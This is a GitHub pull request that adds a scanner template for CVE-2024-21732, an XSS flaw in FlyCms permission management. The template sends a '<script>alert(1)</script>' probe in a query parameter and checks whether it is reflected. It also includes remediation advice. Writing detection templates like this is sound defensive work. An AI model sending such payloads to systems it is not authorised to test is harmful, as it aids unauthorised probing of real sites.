Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added template for CVE-2024-21732 #11356

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open

Added template for CVE-2024-21732 #11356

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 26 additions & 0 deletions CVE-2024-21732.yaml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
id: CVE-2024-21732

info:
name: FlyCms XSS via Permission Management
author: ProjectDiscoveryAI
severity: medium
description: |
FlyCms through abbaa5a allows XSS via the permission management feature.
reference:
- https://github.com/Ghostfox2003/cms/blob/main/1.md
remediation: |
Ensure that all user inputs are properly sanitized and validated before being included in the web page. Implement proper escaping of special characters in HTML, JavaScript, and other contexts to prevent XSS. Keep the FlyCms software updated with the latest security patches.

http:
- method: GET
path:
- "{{BaseURL}}/admin/permission-management?param=<script>alert(1)</script>"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<script>alert(1)</script>"
part: body
Loading